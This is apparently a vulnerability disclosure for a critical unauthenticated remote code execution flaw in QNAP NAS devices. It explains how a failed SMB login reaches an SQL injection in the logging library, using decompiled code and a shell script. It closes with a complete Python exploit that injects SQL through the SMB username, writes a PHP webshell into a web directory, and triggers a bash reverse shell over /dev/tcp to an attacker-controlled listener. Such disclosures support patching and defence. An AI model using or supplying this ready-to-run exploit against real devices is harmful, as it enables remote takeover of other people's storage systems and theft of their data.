QNAP RCE

Details

CVE Score (3.1): 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE-89: SQL Injection

General Description

The vulnerability lies in naslog_conn_add2 part of the legacy logging of /usr/lib/libuLinux_naslog.so. To reach that we perform an SMB authentication attempt, which upon failure calls write_connlog_login_deny_smb1. That as explained later leads to an SQL injection that we then use to achieve RCE on the target.

Vulnerability details

The library ./mnt/ext/opt/samba/lib/private/libauth-samba4.so is responsible to manage SMB’s authentication. Reachable over a remote device in the same network, or fully remotely if the SMB is exposed / port forwarded over the internet.

Upon an unsuccessfull login attempt over SMB the device calls write_connlog_login_deny_smb1 which in turn calls sub_A720.

// NOTE: The decompilation output has been edited for abbreviation purposes
_int64 __fastcall sub_A720(unsigned int a1, _BYTE *a2, const char *a3, const char *a4, __int64 a5, const char *a6)
{
    //... 
  v8 = "/usr/local/samba/sbin/log_ratelimit.sh";
  if ( (_DWORD)a5 != 9 )
    v8 = "/sbin/conn_log_tool";
  snprintf(v10, 0x800uLL, "%s -t %d -u '%s' -p '%s' -m '%s' -i %d -n %d -a '%s' -S", v8, a1, v7, a3, v6, 1LL, a5, a6);
  smbrun((__int64)v10, 0LL, 0LL);  // [1]
   //...

Which in turn calls smbrun as shown in callsite [1]. With the buffer of which we control the -u '%s' string format identifer. This gives us the ability to execute the log_ratelimit.sh with arbitrary arguments.

#!/bin/sh

#...
argv="$@"    # all arguments. #  [1]
#...
# Parse arguments and get client info.
POSITIONAL_ARGS=()

while [[ $# -gt 0 ]]; do
  case $1 in
#...
    -u)
      # If username's prefix contains domain as '<DOMAIN>\<USER>',
      # replace backslash as semicolon, as '<DOMAIN>:<USER>' for valid grep.
      username=`echo "$2" | sed 's/\\\\/:/g' 2>/dev/null`
      shift # past argument
      shift # past value
      ;;
#...
  esac
done

#...

# Send to Qulog. Insert a record for lookup. Run in background to avoid blocking parent.
(/sbin/conn_log_tool $argv && CMD="${keyword}" sleep "${ratelimit_sec}") &  # [2]
ret="$?"

exit "${ret}"

This consequently allows us to execute the conn_log_tool (which is a symlink to log_tool) with controlled arguments as shown in callsite [2]. Which internally calls naslog_conn_add2, which is part of QNAP’s legacy API. As shown bellow in in the callsite [1].

// NOTE: The decompilation output has been edited for abbreviation purposes
_int64 __fastcall main(int argc, char **argv)
{
  //...
  qword_60B8D0 = 0LL;
  LODWORD(qword_60B8D8) = 0;
  if ( argc <= 1 )
  {
    sub_4031F0(*argv);
    return 0LL;
  }
  while ( 2 )
  {
    v2 = getopt_long(argc, argv, "b:hcrfya:Sqt:l:u:r:s:e:vp:m:o:i:n:g:A:R:", &stru_408A40, 0LL);
    switch ( v2 )
    {
      case '\0':
        qword_60B8C0 = optarg;
        //...
            if ( (_DWORD)qword_60B8A8 != 1 )
            {
              if ( dword_60B84C == 1 )
              {
                memset(v5, 0, 0x7D8uLL);
                v5[1] = (int)qword_60B860;
                if ( src )
                  strncpy((char *)&v5[16], src, 0x40uLL);
                if ( qword_60B870 )
                  strncpy((char *)&v5[32] + 1, qword_60B870, 0x40uLL);
                if ( qword_60B878 )
                  strncpy((char *)&v5[48] + 2, qword_60B878, 0x40uLL);
                if ( qword_60B8C0 )
                  strncpy((char *)&v5[389], qword_60B8C0, 0x40uLL);
                if ( qword_60B8C8 )
                  strncpy((char *)&v5[405] + 1, qword_60B8C8, 0x80uLL);
                if ( qword_60B8D0 )
                  strncpy((char *)&v5[437] + 2, qword_60B8D0, 0xFFuLL);
                strncpy((char *)&v5[64] + 3, qword_60B858, 0x400uLL);
                v5[321] = dword_60B880;
                v5[322] = dword_60B884;
                v5[388] = (int)qword_60B8B8;
                if ( qword_60B8B0 )
                  strncpy((char *)&v5[323], qword_60B8B0, 0x100uLL);
                if ( dword_60B89C )
                  puts("Appending a log to database...");
                if ( (_DWORD)qword_60B850 == 1 )
                  tbl = SendConnToLogEngineEx4(
                          (unsigned int)v5[1],
                          &v5[16],
                          &v5[323],
                          (char *)&v5[32] + 1,
                          (char *)&v5[48] + 2,
                          (unsigned int)v5[321],
                          (unsigned int)v5[322],
                          (unsigned int)v5[388],
                          &v5[389],
                          (char *)&v5[405] + 1,
                          (char *)&v5[437] + 2,
                          (char *)&v5[64] + 3);
                else
                  tbl = naslog_conn_add2(v5);  [1]
                goto LABEL_14;

Finally this calls into the /usr/lib/libuLinux_naslog.so’s naslog_conn_add2 which suffers from an SQL injection as shown bellow.

// NOTE: The decompilation output has been edited for abbreviation purposes
__int64 __fastcall naslog_conn_add2(void *a1)
{
    //...

  v1 = a1 + 64;
  if ( strlen(a1 + 64) > 0x40 )
  //...
  v13 = *((unsigned int *)a1 + 388);
  v69[v9] = 0;
  v14 = sqlite3_mprintf(
          "INSERT INTO NASLOG_CONN \t( conn_type, conn_user, conn_ip, conn_comp, conn_res, conn_serv, conn_action, conn_a"
          "pp, conn_action_result, conn_client_id, conn_client_app, conn_client_agent ) \tVALUES \t( %d, '%s', '%s', '%s'"
          ", '%s', %d, %d, '%s', %d, %Q, %Q, %Q);",
          *((unsigned int *)a1 + 1),
          v1,
          a1 + 129,
          v59,
          v69,
          *((unsigned int *)a1 + 321),
          *((unsigned int *)a1 + 322),
          v61,
          v13,
          v63,
          v60,
          v60,
          v62);

This gives us the ability to inject a PHP webshell to the database.

Exploitation

In order to trigger the execution of the webshell we request it

from smb.SMBConnection import SMBConnection
import requests, os, uuid, threading, time

shell_name = f"shell_{str(uuid.uuid4())}.php"

def run_sql(ip,sql):
    sql = sql.replace(" ","/**/")
    conn = SMBConnection(f"""x' -u xx -A "haha','1','2','3','4');{sql};--" -a abc -- x -- '""", 'blah', "g", 'g', use_ntlm_v2 = True)
    conn.connect(ip, 139)

def shell():
    os.system("ncat -lvp 1337")
    r = requests.get(f"http://{target_ip}:8080/nc/{shell_name}",params={"0":f"rm -f /mnt/ext/opt/NotificationCenter/opt/www/{shell_name}"})

if __name__ == "__main__":
    if len(os.sys.argv) != 3:
        print("<exp> {target_ip} {host_ip}")
        exit(0)
    target_ip = os.sys.argv[1]
    host_ip = os.sys.argv[2]

    try:
        print("Running SQLI to File Write")
        run_sql(target_ip,f"ATTACH DATABASE '/mnt/ext/opt/NotificationCenter/opt/www/{shell_name}' AS q;CREATE TABLE q.x (x text);INSERT INTO q.x (x) VALUES('<?=system($_GET[0]);?>')")
    except:
        print("SMB Connection didn't work :(")

    requests.get(f"http://{target_ip}:8080/nc/{shell_name}?cache_bust")
    print("Spawning Rev Shell")
    t = threading.Thread(target=shell)
    t.start()

    rev = f"bash -i >& /dev/tcp/{host_ip}/1337 0>&1"
    time.sleep(1)
    r = requests.get(f"http://{target_ip}:8080/nc/{shell_name}",params={"0":rev})